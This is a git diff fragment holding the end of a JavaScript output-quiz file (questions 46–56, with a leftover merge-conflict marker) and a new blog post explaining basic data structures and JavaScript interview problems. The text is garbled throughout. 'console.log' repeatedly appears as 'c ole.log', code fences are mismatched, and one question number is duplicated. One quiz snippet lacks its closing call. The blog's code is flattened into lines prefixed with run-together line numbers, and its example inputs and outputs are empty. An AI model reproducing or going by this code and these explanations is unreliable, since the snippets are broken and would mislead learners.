+-   4: { value: 1, done: false }, { value: 2, done: false }, { value: 3, done: true }
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+A return statement in a generator function will make the generator finish. If a value is returned, it will be set as the value property of the object and done property to true. When a generator is finished, subsequent next() calls return an object of this form: `{value: undefined, done: true}`.
+
+</p>
+
+</details>
+
+---
+
+#### 47. What is the output of below code
+
+````javascript
+const myGenerator = (function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+})();
+for (const value of myGenerator) {
+    console.log(value);
+    break;
+}
+
+for (const value of myGenerator) {
+    console.log(value);
+}
+`
+
+-  1,2,3 and 1,2,3
+- 2: 1,2,3 and 4,5,6
+- 3: 1 and 1
+- 4: 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The generator should not be re-used once the iterator is closed. i.e, Upon exiting a loop(on completion or using break & return), the generator is closed and trying to iterate over it again does not yield any more results. Hence, the second loop doesn't print any value.
+
+</p>
+
+</details>
+
+---
+
+#### 48. What is the output of below code
+
+```javascript
+const num = 0o38;
+c ole.log(num);
+````
+
+-   1: SyntaxError
+-   2: 38
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+If you use an invalid number(outside of 0-7 range) in the octal literal, JavaScript will throw a SyntaxError. In ES5, it treats the octal literal as a decimal number.
+
+</p>
+
+</details>
+
+---
+
+#### 49. What is the output of below code
+
+````javascript
+const squareObj = new Square(10);
+console.log(squareObj.area);
+
+class Square {
+    constructor(length) {
+        this.length = length;
+    }
+
+    get area() {
+        return this.length * this.length;
+    }
+
+    set area(value) {
+        this.area = value;
+    }
+}
+`
+
+- 1: 100
+- 2: ReferenceError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Unlike function declarations, class declarations are not hoisted. i.e, First You need to declare your class and then access it, otherwise it will throw a ReferenceError "Uncaught ReferenceError: Square is not defined".
+
+**Note:** Class expressions also applies to the same hoisting restrictions of class declarations.
+
+</p>
+
+</details>
+
+---
+
+#### 50. What is the output of below code
+
+```javascript
+function Person() {}
+
+Person.prototype.walk = function () {
+    return this;
+};
+
+Person.run = function () {
+    return this;
+};
+
+let user = new Person();
+let walk = user.walk;
+console.log(walk());
+
+let run = Person.run;
+c ole.log(run());
+````
+
+-   undefined, undefined
+-   2: Person, Person
+-   3: SyntaxError
+-   4: Window, Window
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+When a regular or prototype method is called without a value for **this**, the methods return an initial this value if the value is not undefined. Otherwise global window object will be returned. In our case, the initial `this` value is undefined so both methods return window objects.
+
+</p>
+
+</details>
+
+---
+
+#### 51. What is the output of below code
+
+```javascript
+class Vehicle {
+    constructor(name) {
+        this.name = name;
+    }
+
+    start() {
+        console.log(`${this.name} vehicle started`);
+    }
+}
+
+class Car extends Vehicle {
+    start() {
+        console.log(`${this.name} car started`);
+        super.start();
+    }
+}
+
+const car = new Car('BMW');
+c ole.log(car.start());
+```
+
+-   SyntaxError
+-   2: BMW vehicle started, BMW car started
+-   3: BMW car started, BMW vehicle started
+-   4: BMW car started, BMW car started
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+The super keyword is used to call methods of a superclass. Unlike other languages the super invocation doesn't need to be a first statement. i.e, The statements will be executed in the same order of code.
+
+</p>
+
+</details>
+
+---
+
+#### 52. What is the output of below code
+
+```javascript
+const USER = { age: 30 };
+USER.age = 25;
+c ole.log(USER.age);
+```
+
+-   30
+-   2: 25
+-   3: Uncaught TypeError
+-   4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Even though we used constant variables, the content of it is an object and the object's contents (e.g properties) can be altered. Hence, the change is going to be valid in this case.
+
+</p>
+
+</details>
+
+---
+
+#### 53. What is the output of below code
+
+```javascript
+c ole.log('🙂' === '🙂');
+```
+
+-   1: false
+-   2: true
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Emojis are unicodes and the unicode for smile symbol is "U+1F642". The unicode comparision of same emojies is equivalent to string comparison. Hence, the output is always true.
+
+</p>
+
+</details>
+
+---
+
+#### 54. What is the output of below code?
+
+```javascript
+c ole.log(typeof typeof typeof true);
+```
+
+-   string
+-   2: boolean
+-   3: NaN
+-   4: number
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+The typeof operator on any primitive returns a string value. So even if you apply the chain of typeof operators on the return value, it is always string.
+
+</p>
+
+</details>
+
+---
+
+#### 55. What is the output of below code?
+
+````javascript
+let zero = new Number(0);
+
+if (zero) {
+    console.log('If');
+} else {
+    console.log('Else');
+}
+`
+
+-  If
+- 2: Else
+- 3: NaN
+- 4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+1. The type of operator on new Number always returns object. i.e, typeof new Number(0) --> object.
+2. Objects are always truthy in if block
+
+Hence the above code block always goes to if section.
+
+</p>
+
+</details>
+
+---
+
+#### 55. What is the output of below code in non strict mode?
+
+```javascript
+let msg = 'Good morning!!';
+
+msg.name = 'John';
+
+c ole.log(msg.name);
+````
+
+-   ""
+-   2: Error
+-   3: John
+-   4: Undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+It returns undefined for non-strict mode and returns Error for strict mode. In non-strict mode, the wrapper object is going to be created and get the mentioned property. But the object get disappeared after accessing the property in next line.
+
+</p>
+
+</details>
+
+---
+
+#### 56. What is the output of below code?
+
+```javascript
+let count = 10;
+
+(function innerFunc() {
+    if (count === 10) {
+        let count = 11;
+        console.log(count);
+    }
+    console.log(count);
+} ;
+```
+
+-   11, 10
+-   2: 11, 11
+-   3: 10, 11
+-   4: 10, 10
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+11 and 10 is logged to the console.
+
+The innerFunc is a closure which captures the count variable from the outerscope. i.e, 10. But the conditional has another local variable `count` which overwrites the ourter `count` variable. So the first console.log displays value 11.
+Whereas the second console.log logs 10 by capturing the count variable from outerscope.
+
+</p>
+
+</details>
+
+---
+
+---
+>>>>>>> master
diff --git a/src/pages/blog/intro-01-data-structures.md b/src/pages/blog/intro-01-data-structures.md
new file mode 100644
index 0000000000..f37643477e
--- /dev/null
+++ b/src/pages/blog/intro-01-data-structures.md
@@ -0,0 +1,421 @@
+---
+title: Intro-01-Data Structures
+template: post
+subtitle: a visual guide
+excerpt: The most basic of all data structures, an array s
+date: 2022-04-19T05:30:39.001Z
+image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/data-struc2.gif?raw=true
+thumb_image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/data-struc2.gif?raw=true
+image_position: top
+author: src/data/authors/bgoonz.yaml
+categories:
+    - src/data/categories/ds.yaml
+tags:
+    - src/data/tags/ds-algo.yaml
+show_author_bio: true
+related_posts:
+    - src/pages/blog/data-structures-algorithms-resources.md
+cmseditable: true
+---
+
+<!--StartFragment-->
+
+### 1. Array
+
+The most basic of all data structures, an array stores data in memory for later use. Each array has a fixed number of cells decided on its creation, and each cell has a corresponding numeric index used to select its data. Whenever you’d like to use the array, all you need are the desired indices, and you can access any of the data within.
+
+[![](https://camo.githubusercontent.com/ab40ae120edb6f03676fd5bd971feb1f59801ee43d90464c5f3c0ac7f5dc4c25/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f35313633353033373435373631323830)](https://camo.githubusercontent.com/ab40ae120edb6f03676fd5bd971feb1f59801ee43d90464c5f3c0ac7f5dc4c25/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f35313633353033373435373631323830)
+
+Advantages
+
+-   Simple to create and use.
+-   Foundational building block for complex data structures
+
+Disadvantages
+
+-   Fixed size
+-   Expensive to insert/delete or resequence values
+-   Inefficient to sort
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#applications)Applications
+
+-   Basic spreadsheets
+-   Within complex structures such as hash tables
+
+\
+\
+
+### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#2-queues)2. Queues
+
+Queues are conceptually similar to stacks; both are sequential structures, but queues process elements in the order they were entered rather than the most recent element.
+
+As a result, queues can be thought of as a FIFO (First In, First Out) version of stacks. These are helpful as a buffer for requests, storing each request in the order it was received until it can be processed.
+
+[![](https://camo.githubusercontent.com/0e19efa8b7251690191848de4d8538c36f7619aa1a69b46a306b16b19274edb0/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f34363038323536343133353332313630)](https://camo.githubusercontent.com/0e19efa8b7251690191848de4d8538c36f7619aa1a69b46a306b16b19274edb0/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f34363038323536343133353332313630)
+
+For a visual, consider a single-lane tunnel: the first car to enter is the first car to exit. If other cars should wish to exit, but the first stops, all cars will have to wait for the first to exit before they can proceed.
+
+Advantages
+
+-   Dynamic size
+-   Orders data in the order it was received
+-   Low runtime
+
+Disadvantages
+
+-   Can only retrieve the oldest element
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#applications-1)Applications
+
+-   Effective as a buffer when receiving frequent data
+-   Convenient way to store order-sensitive data such as stored voicemails
+-   Ensures the oldest data is processed first
+
+\
+\
+
+### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#3-linked-list)3. Linked List
+
+Linked lists are a data structure which, unlike the previous three, does not use physical placement of data in memory. This means that, rather than indexes or positions, linked lists use a referencing system: elements are stored in nodes that contain a pointer to the next node, repeating until all nodes are linked.
+
+This system allows efficient insertion and removal of items without the need for reorganization.
+
+[![](https://camo.githubusercontent.com/c5b4f3b037de92da7118b3bbf05e9485a28507729cf9d9cffc2c17f37189971f/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f34353336323436353035333038313630)](https://camo.githubusercontent.com/c5b4f3b037de92da7118b3bbf05e9485a28507729cf9d9cffc2c17f37189971f/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f34353336323436353035333038313630)
+
+Advantages
+
+-   Efficient insertion and removal of new elements
+-   Less complex than restructuring an array
+
+Disadvantages
+
+-   Uses more memory than arrays
+-   Inefficient to retrieve a specific element
+-   Inefficient to traverse the list backward
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#applications-2)Applications
+
+-   Best used when data must be added and removed in quick succession from unknown locations
+
+\
+\
+
+### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#4-trees)4. Trees
+
+Trees are another relation-based data structure, which specialize in representing hierarchical structures. Like a linked list, nodes contain both elements of data and pointers marking its relation to immediate nodes.
+
+Each tree has a “root” node, off of which all other nodes branch. The root contains references to all elements directly below it, which are known as its “child nodes”. This continues, with each child node, branching off into more child nodes.
+
+Nodes with linked child nodes are called internal nodes while those without child nodes are external nodes. A common type of tree is the “binary search tree” which is used to easily search stored data.
+
+These search operations are highly efficient, as its search duration is dependent not on the number of nodes but on the number of levels down the tree.
+
+[![](https://camo.githubusercontent.com/82cd3953e721f75e55b74c5854d64d3de002098592eba6338aa152f3ad1b4cc6/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f34383630343534383739383837333630)](https://camo.githubusercontent.com/82cd3953e721f75e55b74c5854d64d3de002098592eba6338aa152f3ad1b4cc6/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f34383630343534383739383837333630)
+
+This type of tree is defined by four strict rules:
+
+1. The left subtree contains only nodes with elements lesser than the root.
+2. The right subtree contains only nodes with elements greater than the root.
+3. Left and right subtrees must also be a binary search tree. They must follow the above rules with the “root” of their tree.
+4. There can be no duplicate nodes, i.e. no two nodes can have the same value.
+
+Advantages
+
+-   Ideal for storing hierarchical relationships
+-   Dynamic size
+-   Quick at insert and delete operations
+-   In a binary search tree, inserted nodes are sequenced immediately.
+-   Binary search trees are efficient at searches; length is only O(height)O(height).
+
+Disadvantages
+
+-   Slow to rearrange nodes
+-   Child nodes hold no information about their parent node
+-   Binary search trees are not as fast as the more complicated hash table
+-   Binary search trees can degenerate into linear search (scanning all elements) if not implemented with balanced subtrees.
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#applications-3)Applications
+
+-   Storing hierarchical data such as a file location.
+-   Binary search trees are excellent for tasks needing searching or ordering of data.
+
+> **\*Enjoying the article?** Scroll down to\* _[sign up](https://www.educative.io/blog/blog-newsletter-annoucement)_ _for our free, bi-monthly newsletter._
+
+\
+
+### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#5-graphs)5. Graphs
+
+Graphs are a relation-based data structure helpful for storing web-like relationships. Each node, or vertex, as they’re called in graphs, has a title (A, B, C, etc.), a value contained within, and a list of links (called edges) it has with other vertices.
+
+[![](https://camo.githubusercontent.com/615c0612c32e8d319d2c79e596885e4aceb6ce7dc64ac235ede92637fac589f9/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f34393132363931303737343437363830)](https://camo.githubusercontent.com/615c0612c32e8d319d2c79e596885e4aceb6ce7dc64ac235ede92637fac589f9/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f34393132363931303737343437363830)
+
+In the above example, each circle is a vertex, and each line is an edge. If produced in writing, this structure would look like:
+
+_V = {a, b, c, d}_
+
+_E = {ab, ac, bc, cd}_
+
+While hard to visualize at first, this structure is invaluable in conveying relationship charts in textual form, anything from circuitry to train networks.
+
+Advantages
+
+-   Can quickly convey visuals over text
+-   Usable to model a diverse number of subjects so long as they contain a relational structure
+
+Disadvantages
+
+-   At a higher level, text can be time-consuming to convert to an image.
+-   It can be difficult to see the existing edges or how many edges a given vertex has connected to it
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#applications-4)Applications
+
+-   Network representations
+-   Modeling social networks, such as Facebook.
+
+\
+
+### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#6-hash-tables-map)6. Hash Tables (Map)
+
+Hash tables are a complex data structure capable of storing large amounts of information and retrieving specific elements efficiently. This data structure relies on the concept of key/value pairs, where the “key” is a searched string and the “value” is the data paired with that key.
+
+[![](https://camo.githubusercontent.com/ed02956a5f707a017dc59966166c26835374fa0b48a9b6d0aaec06367d4dae10/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f36373435393131313633303932393932)](https://camo.githubusercontent.com/ed02956a5f707a017dc59966166c26835374fa0b48a9b6d0aaec06367d4dae10/68747470733a2f2f7777772e6564756361746976652e696f2f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f36373435393131313633303932393932) Each searched key is converted from its string form into a numerical value, called a hash, using a predefined hash function. This hash then points to a storage bucket – a smaller subgroup within the table. It then searches the bucket for the originally entered key and returns the value associated with that key.
+
+Advantages
+
+-   Key can be in any form, while array’s indices must be integers
+-   Highly efficient search function
+-   Constant number of operations for each search
+-   Constant cost for insertion or deletion operations
+
+Disadvantages
+
+-   Collisions: an error caused when two keys convert to the same hash code or two hash codes point to the same value.
+-   These errors can be common and often require an overhaul of the hash function.
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#applications-5)Applications
+
+-   Database storage
+-   Address lookups by name
+
+Each hash table can be very different, from the types of the keys and values, to the way their hash functions work. Due to these differences and the multi-layered aspects of a hash table, it is nearly impossible to encapsulate so generally.
+
+\
+\
+
+### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#data-structure-interview-questions)Data structure interview questions
+
+For many developers and programmers, data structures are most important for [cracking Javascript coding interviews](https://www.educative.io/blog/acing-the-javascript-interview-top-questions-explained). Questions and problems on data structures are fundamental to modern-day coding interviews. In fact, they have a lot to say over your hireability and entry-level rate as a candidate.
+
+Today, we will be going over seven common coding interview questions for JavaScript data structures, one for each of the data structures we discussed above. Each will also discuss its time complexity based on the [BigO notation](https://www.educative.io/blog/a-big-o-primer-for-beginning-devs) theory.
+
+\
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#array-remove-all-even-integers-from-an-array)Array: Remove all even integers from an array
+
+**Problem statement:** Implement a function `removeEven(arr)`, which takes an array arr in its input and removes all the even elements from a given array.
+
+**Input:** An array of random integers
+
+```
+
+```
+
+**Output:** an array containing only odd integers
+
+```
+
+```
+
+There are two ways you could solve this coding problem in an interview. Let’s discuss each.
+
+\
+
+**Solution #1: Doing it “by hand”**
+
+123456789function removeEven(arr) { var odds = \[] for (let number of arr) { if (number % 2 != 0) // Check if the item in the list is NOT even ('%' is the modulus symbol!) odds.push(number) //If it isn't even append it to the empty list } return odds // Return the new list}console.log(removeEven(\[3, 2, 41, 3, 34]))Run
+
+This approach starts with the first element of the array. If that current element is not even, it pushes this element into a new array. If it is even, it will move to the next element, repeating until it reaches the end of the array. In regards to time complexity, since the entire array has to be iterated over, this solution is in _O(n)O(n)._
+
+\
+
+**Solution #2: Using filter() and lambda function**
+
+1234function removeEven(arr) { return arr.filter((v => (v % 2) != 0))}console.log(removeEven(\[3,2,41,3,34]))
+
+This solution also begins with the first element and checks if it is even. If it is even, it filters out this element. If not, skips to the next element, repeating this process until it reaches the end of the array.
+
+The filter function uses lambda or arrow functions, which use shorter, simpler syntax. The filter filters out the element for which the lambda function returns false. The time complexity of this is the same as the time complexity of the previous solution.
+
+\
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#stack-check-for-balanced-parentheses-using-a-stack)Stack: Check for balanced parentheses using a stack
+
+**Problem statement:** Implement the `isBalanced()` function to take a string containing only curly `{}`, square `[]`, and round `()` parentheses. The function should tell us if all the parentheses in the string are balanced. This means that every opening parenthesis will have a closing one. For example, `{[]}` is balanced, but `{[}]` is not.
+
+**Input:** A string consisting solely of `(`, `)`, `{`, `}`, `[` and `]`
+
+```
+
+```
+
+**Output:** Returns `False` if the expression doesn’t have balanced parentheses. If it does, the function returns `True`.
+
+```
+
+```
+
+To solve this problem, we can simply use a stack of characters. Look below at the code to see how it works.
+
+index.jsStack.js12345678910111213141516171819202122232425262728293031"use strict";module.exports = class Stack { constructor() { this.items = \[]; this.top = null; } getTop() { if (this.items.length == 0) return null; return this.top; } isEmpty() { return this.items.length == 0; } size() { return this.items.length; } push(element) { this.items.push(element); this.top = element; } pop() { if (this.items.length != 0) { if (this.items.length == 1) { this.top = null; return this.items.pop();Run
+
+This process will iterate over the string one character at a time. We can determine that the string is unbalanced based on two factors:
+
+1. The stack is empty.
+2. The top element in the stack is not the right type.
+
+If either of these conditions is true, we return `False`. If the parenthesis is an opening parenthesis, it is pushed into the stack. If by the end all are balanced, the stack will be empty. If it is not empty, we return `False`. Since we traverse the string exp only once, the time complexity is _O(n)_.
+
+\
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#queue-generate-binary-numbers-from-1-to-n)Queue: Generate Binary Numbers from 1 to n
+
+**Problem statement:** Implement a function `findBin(n)`, which will generate binary numbers from `1` to `n` in the form of a string using a queue.
+
+**Input:** A positive integer n
+
+```
+
+```
+
+**Output:** Returns binary numbers in the form of strings from `1` up to `n`
+
+```
+
+```
+
+The easiest way to solve this problem is using a queue to generate new numbers from previous numbers. Let’s break that down.
+
+index.jsQueue.js12345678910111213141516171819202122232425262728293031"use strict";module.exports = class Queue { constructor() { this.items = \[]; this.front = null; this.back = null; } isEmpty() { return this.items.length == 0; } getFront() { if (this.items.length != 0) { return this.items\[0]; } else return null; } size() { return this.items.length; } enqueue(element) { this.items.push(element); }Run
+
+The key is to generate consecutive binary numbers by appending 0 and 1 to previous binary numbers. To clarify,
+
+-   10 and 11 can be generated if 0 and 1 are appended to 1.
+-   100 and 101 are generated if 0 and 1 are appended to 10.
+
+Once we generate a binary number, it is then enqueued to a queue so that new binary numbers can be generated if we append 0 and 1 when that number will be enqueued.
+
+Since a queue follows the _First-In First-Out_ property, the enqueued binary numbers are dequeued so that the resulting array is mathematically correct.
+
+Look at the code above. On line 7, `1` is enqueued. To generate the sequence of binary numbers, a number is dequeued and stored in the array `result`. On lines 11-12, we append `0` and `1` to produce the next numbers.
+
+Those new numbers are also enqueued at lines 14-15. The queue will take integer values, so it converts the string to an integer as it is enqueued.
+
+The time complexity of this solution is in _O(n)O(n)_ since constant-time operations are executed for n times.
+
+\
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#linked-list-reverse-a-linked-list)Linked List: Reverse a linked list
+
+**Problem statement:** Write the `reverse` function to take a singly linked list and reverse it in place.
+
+**Input:** a singly linked list
+
+```
+
+```
+
+**Output:** a reverse linked list
+
+```
+
+```
+
+The easiest way to solve this problem is by using iterative pointer manipulation. Let’s take a look.
+
+index.jsLinkedList.jsNode.js12345678910111213141516171819202122232425262728293031"use strict";const Node = require('./Node.js');module.exports = class LinkedList { constructor() { this.head = null; } //Insertion At Head insertAtHead(newData) { let tempNode = new Node(newData); tempNode.nextElement = this.head; this.head = tempNode; return this; //returning the updated list } isEmpty() { return (this.head == null); } //function to print the linked list printList() { if (this.isEmpty()) { console.log("Empty List"); return false; } else { let temp = this.head; while (temp != null) { process.stdout.write(String(temp.data)); process.stdout.write(" -> "); temp = temp.nextElement;Run
+
+We use a loop to iterate through the input list. For a `current` node, its link with the `previous` node is reversed. then, `next` stores the next node in the list. Let’s break that down by line.
+
+-   Line 22- Store the `current` node’s `nextElement` in `next`
+-   Line 23 - Set `current` node’s `nextElement` to `previous`
+-   Line 24 - Make the `current` node the new `previous` for the next iteration
+-   Line 25 - Use `next` to go to the next node
+-   Line 29 - We reset the `head` pointer to point at the last node
+
+Since the list is traversed only once, the algorithm runs in _O(n)_.
+
+\
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#tree-find-the-minimum-value-in-a-binary-search-tree)Tree: Find the Minimum Value in a Binary Search Tree
+
+**Problem statement:** Use the `findMin(root)` function to find the minimum value in a Binary Search Tree.
+
+**Input:** a root node for a binary search tree
+
+```
+
+```
+
+**Output:** the smallest integer value from that binary search tree
+
+```
+
+```
+
+Let’s look at an easy solution for this problem.
+
+\
+
+**Solution: Iterative `findMin( )`**
+
+This solution begins by checking if the root is `null`. It returns `null` if so. It then moves to the left subtree and continues with each node’s left child until the left-most child is reached.
+
+index.jsBinarySearchTree.jsNode.js12345678910111213141516171819202122232425262728293031"use strict";const Node = require('./Node.js');module.exports = class BinarySearchTree { constructor(rootValue) { this.root = new Node(rootValue); } insert(currentNode, newValue) { if (currentNode === null) { currentNode = new Node(newValue); } else if (newValue < currentNode.val) { currentNode.leftChild = this.insert(currentNode.leftChild, newValue); } else { currentNode.rightChild = this.insert(currentNode.rightChild, newValue); } return currentNode; } insertBST(newValue) { if(this.root==null){ this.root=new Node(newValue); return; } this.insert(this.root, newValue); } preOrderPrint(currentNode) { if (currentNode !== null) { console.log(currentNode.val); this.preOrderPrint(currentNode.leftChild);Run\
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#graph-remove-edge)Graph: Remove Edge
+
+**Problem statement:** Implement the removeEdge function to take a source and a destination as arguments. It should detect if an edge exists between them.
+
+**Input:** A graph, a source, and a destination
+
+[![]()](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md)[![widget](https://camo.githubusercontent.com/428156ffac3c84ccdc035827728a34648c3fb537f5967696fff27d5625f9fc18/68747470733a2f2f7777772e6564756361746976652e696f2f63646e2d6367692f696d6167652f663d6175746f2c6669743d636f6e7461696e2c773d3630302f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f36353736313335363639323834383634)](https://camo.githubusercontent.com/428156ffac3c84ccdc035827728a34648c3fb537f5967696fff27d5625f9fc18/68747470733a2f2f7777772e6564756361746976652e696f2f63646e2d6367692f696d6167652f663d6175746f2c6669743d636f6e7461696e2c773d3630302f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f36353736313335363639323834383634)[![widget](https://camo.githubusercontent.com/bab248d2d24b5387823fe7b0259e5ce89b5b38e322500cae5fe67b5a379dad90/68747470733a2f2f7777772e6564756361746976652e696f2f63646e2d6367692f696d6167652f663d6175746f2c6669743d636f6e7461696e2c773d3330302c713d31302f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f36353736313335363639323834383634)](https://camo.githubusercontent.com/bab248d2d24b5387823fe7b0259e5ce89b5b38e322500cae5fe67b5a379dad90/68747470733a2f2f7777772e6564756361746976652e696f2f63646e2d6367692f696d6167652f663d6175746f2c6669743d636f6e7461696e2c773d3330302c713d31302f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f36353736313335363639323834383634)
+
+**Output:** A graph with the edge between the source and the destination removed.
+
+```
+
+```
+
+[![]()](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md)[![widget](https://camo.githubusercontent.com/3c66578e7e5a92a7e8bbe6957356049a8d4206d6d9a91ed2fd6460c7b9fb8ff5/68747470733a2f2f7777772e6564756361746976652e696f2f63646e2d6367692f696d6167652f663d6175746f2c6669743d636f6e7461696e2c773d3630302f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f36303338353930393834323930333034)](https://camo.githubusercontent.com/3c66578e7e5a92a7e8bbe6957356049a8d4206d6d9a91ed2fd6460c7b9fb8ff5/68747470733a2f2f7777772e6564756361746976652e696f2f63646e2d6367692f696d6167652f663d6175746f2c6669743d636f6e7461696e2c773d3630302f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f36303338353930393834323930333034)[![widget](https://camo.githubusercontent.com/da5b513fd1a1678e0b6d6209a9673acb5555e3a7f863eb1580ff38d71f6bbfed/68747470733a2f2f7777772e6564756361746976652e696f2f63646e2d6367692f696d6167652f663d6175746f2c6669743d636f6e7461696e2c773d3330302c713d31302f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f36303338353930393834323930333034)](https://camo.githubusercontent.com/da5b513fd1a1678e0b6d6209a9673acb5555e3a7f863eb1580ff38d71f6bbfed/68747470733a2f2f7777772e6564756361746976652e696f2f63646e2d6367692f696d6167652f663d6175746f2c6669743d636f6e7461696e2c773d3330302c713d31302f6170692f706167652f363039343438343838333337343038302f696d6167652f646f776e6c6f61642f36303338353930393834323930333034)
+
+The solution to this problem is fairly simple: we use Indexing and deletion. Take a look
+
+index.jsGraph.jsLinkedList.jsNode.js12345678910111213141516171819202122232425262728293031"use strict";const LinkedList = require('./LinkedList.js');const Node = require('./Node.js');module.exports = class Graph { constructor(vertices) { this.vertices = vertices; this.list = \[]; var it; for (it = 0; it < vertices; it++) { let temp = new LinkedList(); this.list.push(temp); } } addEdge(source, destination) { if (source < this.vertices && destination < this.vertices) this.list\[source].insertAtHead(destination); return this; } printGraph() { console.log(">>Adjacency List of Directed Graph<<"); var i; for (i = 0; i < this.list.length; i++) { process.stdout.write("|" + String(i) + "| => ");Run
+
+Since our vertices are stored in an array, we can access the `source` linked list. We then call the `delete` function for linked lists. The time complexity for this solution is O(E) since we may have to traverse E edges.
+
+\
+
+#### [](https://github.com/bgoonz/INTERVIEW-PREP-COMPLETE/blob/master/useful-downloads.md#hash-table-convert-max-heap-to-min-heap)Hash Table: Convert Max-Heap to Min-Heap
+
+**Problem statement:** Implement the function `convertMax(maxHeap)` to convert a binary max-heap into a binary min-heap. `maxHeap` should be an array in the `maxHeap` format, i.e the parent is greater than its children.
+
+**Input:** a Max-Heap
+
+```
+
+```
+
+**Output:** returns the converted array
+
+```
+
+```
+
+To solve this problem, we must min heapify all parent nodes. Take a look.
+
+123456789101112131415161718192021222324252627function minHeapify(heap, index) { var left = index \* 2; var right = (index \* 2) + 1; var smallest = index; if ((heap.length > left) && (heap\[smallest] > heap\[left])) { smallest = left } if ((heap.length > right) && (heap\[smallest] > heap\[right])) smallest = right if (smallest != index) { var tmp = heap\[smallest] heap\[smallest] = heap\[index] heap\[index] = tmp minHeapify(heap, smallest) } return heap;}function convertMax(maxHeap) { for (var i = Math.floor((maxHeap.length) / 2); i > -1; i--) maxHeap = minHeapify(maxHeap, i) return maxHeap}var maxHeap = \[9,4,7,1,-2,6,5]console.log(convertMax(maxHeap))Run
+
+We consider `maxHeap` to be a regular array and reorder it to accurately represent a min-heap. You can see this done in the code above. The `convertMax()` function then restores the heap property on all nodes from the lowest parent node by calling the `minHeapify()` function. In regards to time complexity, this solution takes _O(nlog(n))O(nlog(n))_ time.
+
+<!--EndFragment-->
